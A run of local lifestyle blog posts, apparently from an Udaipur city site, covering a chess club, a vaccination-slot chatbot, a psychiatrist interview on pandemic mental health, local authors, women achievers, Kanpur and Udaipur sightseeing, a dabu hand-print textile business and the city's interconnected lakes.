They say chess is a game of intellect and intelligence. Rightfully said!
Chess is a game of imagination and strategy. Absolutely!
It’s a game that provides an order, wit and growth in one’s life. In fact, there have been studies which support the claim that chess improves an individual’s organizational and analytical skills. The game of chess also helps in making new wonderful habits of planning and making careful and decisive moves in life and most importantly it teaches patients. It teaches that if we have taken the step forward, it’s irreversible but, for future we can obviously improvise and do better than the last move.
Our lakecity is not at all in lack of champions and their stories and continuing to this tradition Chess in lakecity club has contributed in making the list of achievements a longer one.
About Chess in lakecity
Chess in lakecity is a group of chess enthusiast players of Udaipur.
Chess in lakecity was established in the year 2008 by Mr. Rajeev Bhardwaj, President, Chess in lakecity and the core team of the club.
It is an established organization that has helped in expansion and growth of chess in Udaipur from past 15 -16 years.
From then onwards it has been a coaching as well as a tournament and organizing platform for chess.
Chess in lakecity has organized many grand level international FIDE rated chess tournaments.
Latest achievements of Chess in lakecity:
In September 2019, Chess in lakecity organized 1st Lakecity Grand Master International Chess Tournament. Players from 11 different countries participated. There were total 204 international FIDE rated players among all participants and 223 players from 11 Federations i.e. BAN, CHI, EGY, IND, MDV, NEP, RUS, SGP, SRI, SVK, USA.
In these past few years the club has managed to organize more than 150 tournaments like local and state open, including 16-17 FIDE rated international tournament.
Due to such steps and efforts of the club, there are 150+ FIDE rated players in our city today and the club has helped in providing the deserving platforms for all these extraordinary players.
The vision of this club is to expand the knowledge of chess in our very own city and somewhere down the line they have accomplished a part of their vision. The foresightedness for the chess talents in our city by this club has proven to be a great endeavor in spreading the word about the game in the city of lakes.
Today on the occasion of International Chess Day we wish all the chess lovers out there, tons of luck and wisdom.
For further inquiries contact Chess in lakecity @ +91-9413045606
Address: Mahaveer Chessman Public School, Lakhara Chowk, Udaipur-313001 (Raj.)
The world’s changing, daily. As are we, updating ourselves and everything around us. It was not that long when we started to use applications on our smartphones and its not been that long too when we’ve started to use chatbots.
Due to artificial intelligence, technological advancements and other technical evolution the human race is definitely heading forward. Contributing to this is a startup by a few youngsters from Udaipur, where they have started an initiative known as United Against Virus to fight against the deadly coronavirus in a very different yet in a simple and subtle way.
Under the Initiative United Against Virus, their experienced team has created a chatbot.
About the chatbot
The chatbot helps people to find slots available at the nearest vaccination center without the hassle of logging in or following any long OTP process.
It’s a bilingual chatbot that supports both Hindi and English language.
The chatbot is available on Whatsapp, Facebook messenger and Telegram.
Step 3: A language selection box will appear to select a language from hindi or english. Enter the language you’re comfortable with.
Step 4: After the language selection, another box will appear that will ask you to enter either the district you live in or the pin code of your area. Select from any of the given options.
After this small process you can get all the slot details i.e.
Where is the vaccination center
Available slots
Age group of the vaccination drive
Charges (if any)
Which vaccine is available
Time band of the available slots
The end goal of the chatbot is to increase the rate of vaccination by motivating people to get vaccinated. The process of logging in and generating OTPs are very time consuming, so this chatbot is a step for easing the ways out for the general masses. Also, the chatbot is free of cost to use so that more and more people can find the required details and get vaccinated and at the end all of us together, United can defeat the virus.
While the Corona outbreak in the country is at its peak, it is rather difficult for some people to maintain their sanity during these testing times. It is natural for anyone to feel elevated levels of depression and anxiety during a crisis like the COVID-19 pandemic, particularly due to social isolation. Physicians and other frontline health care workers are especially vulnerable to detrimental mental health outcomes when they try to reconcile the responsibility of caring for patients with questions for their own health and well-being.
The lockdown days and the impact of COVID-19 have been adverse on us, and some of you might feel both physically and mentally exhausted. However, a few of us would criticize for raising mental health issues since it is not that consequential for them. We say you block out those people from your lives, pronto, and start taking care of yourself mentally!
A Weekend Read: Conversation with Dr. Sushil Kherada about Mental Health During COVID-19 in Udaipur
These times are depressing for sure, so we got in touch with a mental health expert, Dr. Sushil Kherada. He is a senior professor and head of the department in RNT Medical college, department of psychiatry, and we connected with him live on our platform. Let’s hear out the experts’ thoughts on the issue of mental health among the people.
People have different perceptions about mental health and don’t tend to give it much importance. What are your thoughts on the same, and what can you tell us about mental health?
“A healthy body comes with a healthy mind, and vice versa”, says Dr. Sushil when asked about the burgeoning issue of mental health during the pandemic in our country. There is a chemical reaction in your body to every negative thought you have, and studies have found that poor mental health conditions also lead to deadly diseases such as Cancer. A person cannot be productive or, say, can actively contribute to the lifestyle if he or she is not mentally healthy, which is why it is quite unfortunate that people don’t give much importance to mental health.
Sadly, people who are experiencing stress or exhaustion often don’t recognize the reason behind their inability to perform the mundane tasks and are afraid of taking help from a Mental Health Expert. Only 25-30% of the total number of people experiencing mental health issues tend to reach expert help. The Indian society calls mental health patients “Insane” or “Mad”, which makes it hard for them to cope with their issues.
How many people do you think are aware of the issue or concept of Mental Health in Udaipur?
People experiencing fever or cough would consult their physician immediately, but those undergoing mental health issues would not be that enthusiastic about reaching a Mental Health Expert. 75% of individuals do not tend to reach for mental care or help due to society’s preconceived notions about the same. It is especially important to bridge the gap between the mental health patients and get the right help so that more and more patients can get the right treatment in our city and beyond. This can only happen if people start accepting that poor mental health also makes a person unfit or sick.
People have lost their jobs due to the COVID-19 Pandemic; they have to hassle for fulfilling even the mundane or daily chores, affecting their mental health. So, how do you suggest a common man can cope with the current situation?
Social media is full of news about the Coronavirus, and in today’s age, news travels faster on social media than any other platform. “I would call the current situation an Infodemic rather than Pandemic because there is a flood of both accurate and inaccurate information on the social media platforms, which is a major cause of panic among the masses”, says Dr. Kherada. Media plays an important role in keeping the population sane by forwarding positive and accurate news to avoid fear and fallacy. Boredom, frustration, irritation, hopelessness, isolation, anxiety, depression, OCD (Obsessive Compulsive Disorder), suicide, etc., are some reactions that are commonly identified in people due to confinement in their homes during the lockdown.
Many patients suffering from Coronavirus are in home isolation, and their family is afraid to go near them, so how do you suggest overcoming this fear and panic?
Staying positive should be the topmost priority to gain strength to overcome this phase. Following the right information and taking the necessary precautions will help people to overcome the fear. “Maintain Social Distancing, not Emotional Distancing. Be emotionally available, talk to your friends, family members, neighbours, etc. and be in touch with them virtually”, says Dr. Sushil. Set a routine, try out new things, indulge yourself with your hobbies, and do yoga or exercise to keep yourself busy. It will help you take away your mind from the rising fear and panic in the country. Love and compassion towards the patients and each other are the keys to fighting this pandemic and keeping you mentally fit and healthy.
What impact do you think the COVID-19 Pandemic would have on us in the future? Can it create more and new mental health issues in the near future?
A key to overcome mental illness is to prepare the person to fight upcoming challenges effectively. Thus, we need to prepare ourselves to fight these issues with patience and empathy. “The current phase is a test for us to become a better citizen, a better person for our family and close ones. So, let’s utilize this time to change your life for the better”, says Dr. Sushil.
How can students and employees working from home overcome the feeling of helplessness and depression and be mentally fit?
People often say that “I am busy and don’t have time for any additional things”, so this is your time to do what you love. Be it a hobby or a new thing that you wanted to learn for a long time but couldn’t get time to do so, this is your chance to actually practice those things.
How to deal with anxiety and procrastination?
There are some relaxation exercises that you can practice to reduce anxiety. Changing our mindset can be a great help to fight anxiety.
Inner peace and motivation are low during the time of lockdown. What do you suggest our viewers can do to cope with the same?
Lack of spiritual values can be a factor that leads to a lack of inner peace. Meditation and indulging yourself in positive activities can be helpful to motivate yourself. Reducing anger, balancing your life, and not feeling competitive towards your peers can help you gain inner peace.
Coming to an end to our conversation with Dr. Sushil, the foremost thing we have learnt is to reduce our fear and panic caused by COVID-19 by being positive and hopeful. The conversation has been very enlightening and valuable for people who are experiencing mental health issues. Hope you find the suggestions and recommendations helpful, and start prioritizing your mental health first!
As they say, “Books are a uniquely portable magic” on this World Book Day, let us all celebrate the reading and exploring books that make us feel like a whole different person. However, it is the authors that pour that magic into the books by creating characters and stories that are etched into our minds. World Book Day gives us an opportunity to celebrate the power of written words. Books have proven to be effective tools to fight loneliness, deepen relations between people, broaden our horizons, and stimulate our minds and imagination over the last year and now when most countries have seen times of confinement and people have had to curtail their time spent outdoors.
Udaipur has a lot of things to be proud of, such as the glistening lakes, palatial hotels, forts, monuments, art, history, etc. But there is one other thing that we have in abundance is Literature. The people and places here are like poetry and gives our young and talented writers a platform to embrace their writing styles. Today is World Book Day, therefore we thought of introducing you to some talented authors from Udaipur who have poured their hearts into written words. Here are some authors from Udaipur you probably didn’t know about!
Sumit Menaria | Author of “Tashree”
Sumit belongs to Rundera village, situated 50 km away from Udaipur. He is a Chartered Accountant by profession but has a penchant for Literature and writing since childhood. Menaria has several articles published under his name in the local newspapers such as Times of India, The Hindu, Dainik Bhaskar, Udaipur Times, and the likes.
Sumit published his debut novel “Tashree”, a mystery and thriller book that involves criminal investigation. It is about the murder investigation of a college-going girl, which unfolds involvements of a nationwide secret organization in the case. The agnostic approach of the novel also throws light on some Hindu spiritual concepts. The novel has already been appreciated by more than 65 thousand readers online. The comics based on this novel have also been published and appreciated by more than 70 thousand readers. Currently, a web series based on this novel is under production by Aditya Bhattacharya and Sameer Pittalwala. This amazing novel is available on Amazon if you folks want to give it a read! Menaria’s second novel, a psychological thriller, “Anamika”, is also quite popular on the internet.
Diksha Singh | Author of “Reflections of the Mortal Mind”
Diksha is a lecturer in Udaipur and loves to write romantic novels. She has worked as a Co-author in the book “Reflections of the Mortal Mind” and has also written some praiseworthy articles in magazines and newspapers. Being an introvert, Diksha has always been into writing and reading. Her hobbies include palmistry, face reading and writing. “Reflections of The Mortal Mind” is an anthology presented by Forever Shinings. It brings together 31 Indian poets and writers who write in English and Hindi languages and represents their work as a whole. You can find the book on Amazon, do give it a read!
Aditya Jain | Author of “Perspective in Visuals”
Aditya Jain is 19 years old, a young entrepreneur and writer from Udaipur. He is fond of technology, literature, art, and photography. His startup Tripod stories™ provides a leading platform to artists and writers across the globe. “Perspective in Visuals” contains writers and artists from 22 states of India, Lahore, Karachi, England, Qatar, Dubai, Malaysia, California, San Francisco, Sri Lanka, and Canada. Aditya dedicated over 10 months of hard work and commitment to complete this self-made project. From designing, marketing, writing development, compilation to publishing and printing were some challenges to look over. If you are interested in visual art and technology, then you must give this a read!
Shashi Bolia | Author of “Nirankush Pravaah”
Shashi has always been passionate about writing. Her novel “Nirankush Pravaah” reflects the social issues burgeoning in our country. After sixty-two years of living, author Shashi Boliya decided to write a book about her life’s thoughts, views, and feelings in the form of amusing stories and poetry. She hopes that as readers progress through the novel, they will notice their own selves mirrored in the characters, whether consciously or unconsciously. Read this gem to unearth your true self!
Sourabh Lakshkar | Author of “26/11 A LOVE STORY”
Sourabh embarked on the journey of writing in 2016 when he published his book “26/11 A Love Story.” Lakshkar is from Udaipur and is currently residing in Mumbai, working in the Indian Film Industry for the past 10 years. He has worked with companies like Netflix, Dice Media-Filter Copy Pocket Aces, Venus, Cutawayy films, Hungry films, Foxymoron Media Solutions, Moment in Time, Long ranger productions, Run & Rise Pvt Ltd, Reel crazy production, Leela pictures, F-13 etc. Sourabh’s book is about a story that unfolds the bitter truth of life. The book shows love, friendship, passion, disappointment, failure, success, with ideas of patriotism. Do give it a read, folks!
Mahak Bansal | Author of “Pearls of Life”
Mahak, a student of class 12th, is passionate about reading and writing. It gives her a path to unleashing her true emotions and beliefs. She loves reading novels and writing poetries. Her book “Pearls of Life” is all about fighting with the circumstances around us and understanding what people go through in every turn of their life. Do give it a read if you are enthusiastic about reading poetry!
So, here were some authors we found in our city who have done amazing work till now. We may have missed a lot of talented authors in this list, so if you know have someone in mind, do let us know in the comment section below or write to us at content@vivirmedia.com so that we come up with the second part of our “Authors from Udaipur Series”. Till then, take care & stay safe!
Happy International Women’s Day to all the ladies out there!
March 08, International Women’s Day, is recognised to celebrate women’s achievements in every niche and field across the world. Certainly, every woman has made a difference in the world by their selfless contribution. Whether it is Science, Literature, Politics, Hospitality, or Technology, women have gone to extreme lengths to challenge society, which is, in every sense brimming with stereotypes. The word feminism is often misunderstood, and let me enlighten you, feminists do not hate men! Rather, it is about supporting a world where both men and women receive equal opportunities or, say, treated equally. Do feminists want to dominate men? NO! I am a feminist, and I feel my heart would stop beating for a second when I see Hrithik Roshan’s pictures on the internet; why on earth would we hate men?
So, this International Women’s Day, we thought we would give a shout out to the women of Udaipur that have incredibly inspired us in one way or another. Their story is no different than any other little girl, who perhaps wants to break the so-called stereotypes and do something of their own.
Even in the 21st century, there are a lot of stereotypes and barriers women face. On the advent of International Women’s Day, UdaipurBlog brings you a series where we invite women from the city who have broken stereotypes and are a source of inspiration for many.
1. Hitanshi Sharma, Councillor
Being a Politician while carrying on with life as a mother, daughter, and wife is not everyone’s cup of tea. Well, Hitanshi here has done a tremendous job, despite the challenges one has to face to survive in the political world. She is a Councillor (Parshad) of ward 62 in Udaipur and tries her best hand to make this city a better place for us. She is bold, has a strong voice and opinion about how things should be in the long run. To be a Politician was never a plan, but when the opportunity came to her, she grabbed it without a second thought and marvelled at the same.
In this episode of the Women’s Day feature series, UB a Woman, let’s hear out her journey of becoming a Councillor.
Know about her better through this video:
[youtube https://www.youtube.com/watch?v=jwF1EMg3SJs]
2. Smriti Kedia, CEO – Sadhna
The word “Simple” doesn’t exist in her dictionary; thereby, she is a firm believer in hard work and no shortcuts. Smriti Kedia currently became the CEO of Sadhna and has been a true inspiration and a catalyst for social change in Udaipur and beyond. She doesn’t come from a family originally associated with Social Work. Smriti has subtly reminded us that bringing equality, and empowering women is nothing but simple. Keeping the legacy alive, Smriti is working for women development in Udaipur’s rural, tribal, and urban slum belts. According to her, Feminism is about understanding and acknowledging the power or importance of women in our society. Smriti considers herself fortunate to be surrounded by women artisans on a daily basis, who are a true inspiration in themselves.
In this episode of the Women’s Day feature series, UB a Woman, let’s hear out her journey of becoming the CEO of Sadhna.
Know about her better through this video:
[youtube https://www.youtube.com/watch?v=TnT0wnKk7ks]
3. Saumya Luthra, Architect
Do you also paint an image of a man when you hear the word Architect? For you to change that image, we have called upon Saumya Luthra. She is an Architect based in Udaipur and has shown that it is not only a man’s job to build and design a strong establishment. Saumya has opted for a field, which is mostly recognised as a man’s ground, and has excelled despite the challenges! It is a story of being independent and continuing a journey towards an unconventional career.
In this episode of the Women’s Day feature series, UB a Woman, let’s hear out her journey of becoming an Architect.
Know about her better through this video:
[youtube https://www.youtube.com/watch?v=Xn7NlmnSpIg]
4. Dolly Taldar, Hotelier
When asked by her teacher, what does she wants to become? Her answer was pretty easy and quick – “I want to become a successful Hotelier.” Meet Dolly Taldar, Director of Ramada Resort and Spa, Udaipur and know about her journey of becoming a boss lady! She is in the hospitality industry for a long time and is looking after an up-and-coming business. According to Dolly, gender biases comes quite naturally to people, especially when you belong to a small town. However, gender doesn’t impact your knowledge and capabilities, and with your skills, you can always make your name in the market.
In this episode of the Women’s Day feature series, UB a Woman, let’s hear out her journey of becoming a successful hotelier.
Know about her better through this video:
[youtube https://www.youtube.com/watch?v=IKdw4_4PA58]
5. Miti Godawat, Pilot
Enlightening us on her journey of becoming a Pilot, Miti Godawat speaks about how she still gets to hear about the myths associated with marriage and working women in our society. An inspiration for many in Udaipur and beyond, Miti Godawat is recognized for her unmatchable passion for becoming a Pilot. There came a time when she was told that getting married will be the most useful thing she can do, which we all know didn’t happen to be the case! Fulfilling her father’s dream, Miti is now a Commercial Pilot for Indigo Airlines.
In this episode of the Women’s Day feature series, UB a Woman, let’s hear out her journey of becoming a Commercial Pilot.
Know about her better through this video:
[youtube https://www.youtube.com/watch?v=5GNF-9A2Uf0]
6. Bonita Singh Rajpurohit, Miss Transqueen Runner-up, Co-founder of two ventures
Being Transgender is not merely an issue of gender rights; it is also a matter of equality and human rights. We have had the pleasure to meet one such transwoman from Udaipur, Bonita Singh Rajpurohit. The stereotypes about embracing the trans community are full of smoke and mirrors, and sadly the smoke is so thick that one cannot cope with the hurt they have to endure to achieve the ulterior motives. Despite all the hurt comments, Bonita was up and running in the fashion industry. She has been awarded as the second Runner-up of Miss Trans Queen India 2019 and is also a Co-founder of two ventures: DurtyFits and Durt Studio.
Bonita Singh Rajpurohit is someone who came forward as a Trans individual and thrived in the modelling and fashion Industry. In this episode of the Women’s Day feature series, UB a Woman, let’s hear out her story of breaking every stereotype about the Transgender Community.
Know about her better through this video:
[youtube https://www.youtube.com/watch?v=szNWvri28LQ]
These were some Unheard Stories about the empowering women of Udaipur. This series is powered by Mokaya, a woman-operated bakery & patisserie. If you are aware of more such women, let us know in the comments, so that we can bring a second part to this series soon.
Among the major cities of UP located on the banks of the Ganges, Kanpur deserves a special mention. This historic city, I heard, is associated with some legends of Indian mythology has and longed to visit it always. While exploring Kanpur, I became awestruck, watching its numerous cultural and religious attractions. However, I liked many other facets of the amazing city. Its multicultural ambiance, industrial belt, an amalgamation of modernity with the tradition made me kind of awestruck-how can one city contain so any wonders!
Listed below are the best places to visit in Kanpur that I explored and I think you should include these in your tour itinerary too:
Allen Forest Zoo
Popularly called Kanpur zoo, this is among the major tourist spots in Kanpur, and you should visit it once. Located in Azad Nagar and opened to the public back in 1971, it has many attractions for visitors of all ages. I just loved watching the gorgeous lake and the forest which has plenty of ancient trees. There is an aquarium in the zoo, and the life-size prehistoric dinosaur sculptures also took me by amazement. The animals I saw here include White Asian tigers, zebra, leopards and jaguars, chimpanzees, baboons. I also saw plenty of birds chirping around though I could identify only a few. I loved the fact that it is made in a natural forest- unlike most Indian zoos.
Credits: Kanpurzoo.org
ISKCON Temple
I am not much religiously inclined, but could not help drooling over the vast ISKCON temple in Kanpur. Also called the Sri RadhaMadhavMandir, it is actually the second largest ISKCON temple in the world. Inaugurated in 2014, it has become a magnet for the pilgrims and religious tourists in Kanpur. I was amazed by the grand architecture of the temple spread over 100,000 square feet and the courtyard. The marble idols are aesthetically appealing, and for me, they appeared soothing. I also bought some devotional items as souvenirs for friends from the complex’s gift shop. The temple opens early in the morning and remains open till 8.30 PM.
Credits: Kanpurtourism.com
Jain Glass Temple
The architecture and ambiance of Kanpur’s Jain Glass Temple left me mesmerized. The temple has intricate and beautiful glass and enamel work. The wall paintings and bright stained glass murals depict many beliefs of Jainism- as I saw. The statuettes of Lord Mahavira along with 23 Jain Tirthankaras are quite a visual treat. If not for religious beliefs, I think you should visit the temple for its amazing architecture and nice ambiance.
Credits: Kanpurtourism.com
Blue World Theme Park
I thought sightseeing in Kanpur is all about temples and shrines, but the Blue Theme Park proved me wrong! Located at the Mandhana-Bithoor Road, it is a major destination for tourists seeking thrill and fun. I was intrigued to see this theme park has rides segregated as per user heights. It was also good to see the newest safety norms have been deployed –almost on global standards. There are CCTV surveillance cameras and lifeguards too. The 25-acre park has theme based rides like Jungle, Fairy Land, Chinese, and Egyptian Culture, etc. I could not explore all rides for lack of time, but those I did were amazing. You can visit this amazing theme park any day. I also gorged on yummy dishes after enjoying the rides, at the park restaurants like Aquaria and Punjabi Village.
Credits: Kanpurtourism.com
Kamla Retreat
For picnic spots in Kanpur, the Kamla Retreat is what I recommend. The gorgeous yet serene property has lush lawns and picturesque parks, making it an ideal picnic destination. I loved my time there after exploring the city. The boat rides in the canals is the perfect way to bust the stress- and I took one. Exploring the museum made me amazed, and I saw some impressive archaeological artifacts. You will need to take a permit from the Deputy General Manager to get entry- as it is private property.
Credits: Kanpurtourism.com
MotiJheel
Located in the city’s Benajhabar area, MotiJheel can be ideal when you want relief from the bustle of the city. I found it was quieter than other places of Kanpur. The lake and water reservoir also has a nice well-maintained garden. I indulged in boating in the lake inspired by what many locals were doing. There is no food stall here, but you are allowed to bring your own food. It remains open throughout the day until 9 PM.
Credits: Kanpurtourism.com
Kanpur Memorial Church
The stunning Kanpur Memorial Church, also called the All Souls Cathedral is another edifice I cherish exploring during my stay. Made to commemorate the British men and women who died in the 1857 mutiny, the Anglican Church was designed by architect Walter Granville. I could not help admiring the Church‘s typical Lombardic Gothic architecture. The angel figure designed by Carlo Marochetti is a visual treat, and it made me reflective for some time.
It is good if you have been to Venice, but if not and would still like to feel how lovely that atmosphere would be, hurry up and catch a flight to ‘The City of Lakes’, Udaipur. A small city in Rajasthan is perfect mélange of culture, history and royal traditions. This beauty around the city makes Udaipur a perfect honeymoon destination, cultural center and the showstopper of Rajasthan. The palaces built in the city reflects the architectural grandeur which prevailed during the period of Maharanas. On the other side, the dawns at lakeside show how mesmerizing nature can be.
We wouldn’t be wrong if we label Udaipur as one of the most romantic places in India. Udaipur is a pretty face of the brilliant architecture built by the Mewars. These clever rulers literally created an oasis amidst the desert. There is so much that one can see in Udaipur, so let’s narrow it down with the best ones.
Presenting you the list for the TOP Must-Visit Places while you are in UDAIPUR:
City Palace: The true reflection of the splendor of Rajasthan, City Palace which belongs to the royal family of Mewars is a must visit. It has a number of features that attract tourists magically. Needless to say that the architecture is exquisite, also there are a few structures that leave the visitors enthralled.
City Palace, Udaipur
Lake Palace: Stunningly built on Lake Pichola, Lake Palace is one of the most visited places in Udaipur. Situated on Jagniwas Island is popularly known as Taj Lake Palace. Situated amidst the Aravalli Hills, Lake Palace is one of the most romantic places to stay in Rajasthan. Built by Late Maharaja Jagat Singh II, the palace is an example of exquisite architecture.
Lake Palace, Udaipur
Lake Fatehsagar: The charm of Udaipur is incomplete without FatehSagar Lake, situated in the north of Lake Pichola. This lake is also one of the major tourist attractions in Udaipur. There are three islands situated in the lake out of which Nehru Park is the most famous one.
Lake Fatehsagar, Udaipur
Saheliyon Ki Bari: ‘The Garden of the Maidens’, the literal meaning of the ‘Saheliyon ki Bari’ was constructed by Maharana Bhopal Singh. Located in the northern part of the city, this exquisite place was constructed for the maids who accompanied the Princess to Udaipur. Saheliyon ki Bari is one of those places where the maids used to cheer, sing, and dance for every festival celebrated around the city. The garden is decorated with well-maintained fountains, kiosks, elephants carved out of marble and a delightful lotus pool. Saheliyon Ki Bari is truly one of the most delightful places in Udaipur.
Saheliyon Ki Bari, Udaipur
Ambrai Ghat: Located on the banks of Lake Pichola, Ambrai Ghat is a brilliant place for photographers. Overlooking City Palace and Lake Palace, this beautiful ghat, ensures that one gets an exclusive view of the two palaces from here. The Ghat often remains crowded with a large number of local couples in the evening as the place is quite romantic.
Ambrai Ghat, Udaipur
Sajjangarh Palace(Monsoon Palace): Located at a distance of about 9kms away from the Old City of Udaipur, Monsoon Palace is amongst the most favored destinations of the royal family during the monsoons. The palace is hung up on a hill and looks like one of those castles from a magical story that we all have heard in our childhood.
Sajjangarh Fort, Udaipur
Forum Celebration Mall: Forum Celebration Mall, Udaipur, the first mall in the city offers world-class shopping and lifestyle experience under one roof. Built and designed in the ethnic architectural style. Forum Celebration Mall is one of the first iconic heritage malls build across the whole with a unique blend of ethnicity on the outside and modern conveniences within. It is considered a landmark of Udaipur, iconic and different.
Forum Celebration Mall, UdaipurForum Celebration Mall, Udaipur
Some famous and well-known brands in the Forum Celebration Mall are:
For Shopping:
For Men:
Top Men’s Wear brand at Forum Celebration Mall, Udaipur.Top brands at Forum Celebration Mall, Udaipur.
For Women:
Top Women’s brands at Forum Celebration Mall, Udaipur.
Famous food outlets at Forum Celebration Mall, one can enjoy:
Top Food brands at Forum Celebration Mall, Udaipur.
Conclusion:
This city is full of surprises and still much left that you can discover in this gorgeous city. There are also some great places near Udaipur like Ranakpur, Ekling Ji, Nathdwara that one can visit, so make sure you go through this guide a bit more carefully before traveling to the city of lakes.
Aavaran’ From Udaipur Has Taken Mewar’s Dabu Hand Prints to International Levels!
Truly living up to its name ‘Aavaran- Echoes of Rural India’, has taken Mewar’s Dabu work to international levels. Aavaran derives its inspiration and beauty from the indigenous work of the families residing near Udaipur. The dabu work is an exemplary example of the art of indigenous communities of Rajasthan, known to be one of the best art forms in the entire nation.
My visit to Aavaran:
I visited Aavaran a few days back and as soon as I entered the main area I was startled by the fact that everything around me had the aboriginal Indigo color. The spreads, the cushion covers, the coasters, even the ‘chappals’ were made from the Indigo dyed cloths. Aavaran believes in zero waste hence even the ornamentations were made from the scrapes of the Indigo clothes.
I noticed motifs getting printed over cotton cloths via hand block printing- the blocks for printing are being hand carved. It is a long process but the output is simply stunning and pleasing to the eyes. I got into a conversation with the managing team there and came to know some staggering facts, figures, and information about Aavaran which surely made me awestruck, amazed and proud. Yes, proud that Udaipur has some hidden gems which we people are still missing on.
What exactly is Dabu Work?
Dabu is mud resist hand block printing technique from ancient Rajasthan. The practice almost died out in the last century but was revived and flourished by organizations like Aavaran. This technique of cloth printing is quite laborious and involves several stages of printing and dyeing. At Aavaran, artisans also make use of double and triple dabu techniques for cloth printing. Undoubtedly, the result is extraordinarily beautiful.
Aavaran- Echoes of Rural India
Based out of Udaipur, Aavaran was started by Ms Alka Sharma, who is a textile grad from Indian Institute of Crafts and Design, Jaipur. She, from her childhood, always had a thought for bringing out the craftsmanship of Indian rural communities. One such community lives in Akola, a village near Udaipur, which utilizes a cloth dyeing technique called Dabu.
Ms Alka, fascinated by the artwork, urged to sustain this impeccable yet dying art form.
She calls Aavaran a journey started to uphold the rural indigenous communities and their traditional craft. Aavaran’s attempt is to evolve and sustain the traditional ‘Dabu’ mud resist technique of hand printing, specifically the indigo dyed ‘phentiya’ print which is a staple of Mewar Region.
“Our efficient team works on minimal prints, with no compromise with comfort and style.” –says Ms Alka Sharma. She further adds, “As we are a zero waste company, we utilize all our scrapes in inventing home furnishings, jewelry, bags, pouches and so much more.”
Aavaran Family
Aavaran Family
Aavaran has almost 280 people working with them, out of which 80 are skilled artisans. There are 200 ladies who with the support of Hindustan Zinc Limited and Aavaran by COS-V, have learned different skills like stitching, hand embroidery, rug making, accessory making etc. and work for Aavaran, which helps them to generate a livelihood for themselves. Rest of the 80 artisans work at the Aavaran production unit, where they are involved in the activities of Dyeing, Printing, Stitching and so on.
What makes Aavaran different?
Aavaran uses Dabu Mud resists hand block printing as the primary technique wherein natural dyes are utilized like Haldi Dye, Manjistha Dye, Kashish & Indigo Dye.
Apart from this, Aavaran has developed Ayurvastra which is a 5000-year-old philosophy revolving around Ayurveda. Here organic cotton is treated with a defined combination of herbs and oil which treats ailments and heals inside out. Clothes dyed under the concept of Ayurvastra help in increasing the immunity and reaching a better mental equilibrium.
Aavaran in the markets and other accomplishments
Aavaran, not only produces goods under their label but also for other renowned labels. This has subsequently increased Aavaran’s presence in India as well as in the entire world.
One of the prime people working with Aavaran is Mr. Ramkishore Ji Chippa, who has received an award from CRAFT COUNCIL OF INDIA, for the natural dyeing process in the year 2016, which is indeed a big accomplishment for Aavaran.
The workspace of Aavaran is a beautiful premise with loads of dedicated workers and artisans joining hands together to create impeccable and outstanding pieces of apparels. With 3 different outlets in Udaipur, Jaipur, and Bengaluru, Aavaran has established its name in the textile industry via reviving a unique art of hand dyed prints.
The journey of Aavaran has been through ups and downs. With climate changes and other factors, it has seen quite a number of hurdles in its journey and despite all these issues it has risen and planned a better life for artisans.
Udaipur is famous all over the globe due to its beautiful lakes. But did you know that these lakes are interconnected and maintain a remarkable channel system? One, if residing in Udaipur, must know how and why these lakes are interconnected!
When I first came to know that these lakes are interconnected, I was surprised and filled with awe. How can such huge water bodies be connected and made by the then rulers; this was the question I wanted to have an answer to. So, I went on for a deep search and came up with the following piece. Have a read.
Udaipur’s System of Lakes
The Lakes form a chain in the saucer-shaped valley of Udaipur. The inner Girwa plain of Udaipur is surrounded by the western and central Aravali hills, and its water drains into the Ahar (Ayad) River.
Some 425 years ago Udaipur’s system of lakes was considered a role model of rainwater management. As early as 1582, the Maharanas of the former state of Mewar started digging out Lake Pichola for gathering up bottom sediments and widening to make it suitable as an irrigation and drinking source. In 1890, Maharana Fateh Singh inaugurated a project that geography professor Narpat Singh Rathore of Udaipur’s Mohanlal Sukhadia University calls the “the world’s first man-made microsystem of river diversion, linkage and watershed management,” the result of which constitutes the current system of interconnected and gradually descending lakes.
Indeed, the rulers of Udaipur were convinced of the importance of water. So, they had built several dams and water ponds. These are evidence of reservoir engineering, developed at that time.
Prominent Lakes of Udaipur
The famous lakes of the city are Pichola lake, Fatehsagar, Doodh Talai, Govardhan Sagar, Badi (tiger lake or Jiyan Sagar), Rangsagar and Swaroop Sagar and Udaisagar, Madaar Lakes are major lakes in Udaipur. These lakes have served as a lifeline for many centuries for Udaipur.
Some facts about Udaipur, the city of lakes
Udaipur gets an annual rainfall of 640 mm.
Besides this, the city gets the runoff from the surrounding hills that the city planners had decided to catch and store in several lakes and tanks which feed the irrigation channels over several hectares.
Since all these lakes are interconnected, overflow from one goes to the next, making it the best example in rainwater harvesting and management. The water itself equals its level as these lakes are interconnected.
The creation of the lakes of Udaipur
In the mid-16th century, according to one legend, the beauty of the Pichola lake mesmerized Maharana Udai Singh, the then ruler of Mewar, who decided to build his new capital on its banks. Surrounded by Aravali hills, the site provided a natural defense against the forces of Akbar, who had captured Chittorgarh, the then capital of Mewar.
Udai Singh got a dam built on the Berach (Ayad) river to ensure an adequate supply of water for irrigation. The reservoir was named Udai Sagar and became the first line of defense against any attack from the east. Fateh Sagar was built in 1687 to collect the runoff from the surrounding hills for irrigation in the villages around it. The Lake Badi was constructed by Maharaja Raj Singh in 1643 A.D. for recreation purpose. Subsequently were made, the other lakes of Udaipur by the ruling kings of that era.
Besides these, there were 121 bawdis of which 83 have dried up.
How are these lakes connected: A glimpse of the best water harvesting system deployed!
Fatehsagar has a very small catchment of its own and is fed by Lake Badi, Chota and Bada Madaar. The overflow from the Bada and Chota Madaar merge with the Ayar river. The Ayar river feeds Udaisagar several kilometers downstream. The overflow from Lake Badi directly merges with Fatehsagar. The overflow from Pichola (and from parts of Pichola) flows into Fatehsagar, and the overflow from Fatehsagar flows into the Ayar through a canal before it enters Udaisagar. Below Pichola and Fatehsagar are numerous wells and bawdi (stepwells), which were the only source of drinking water, back then. With this web of lakes and wells, most of the rain falling within the Udaipur basin was kept within the basin itself, with very little losses making it a remarkable rain water harvesting system.
Let us now read a detailed description of how these lakes are interconnected!
The Ayad Berach
Ayad the mainstream of river Banas rises begins from the Girwa ranges of Aravalli situated to the north of Udaipur City. Ayad river flows through Bedla up to Udai Sagar Lake, in which it falls. It is the primary river of the Udaipur basin. Beyond Udai Sagar up to Dabok village, the river passes through a distance of about 75.5 km and is named as Udai Sagar ka Nala.
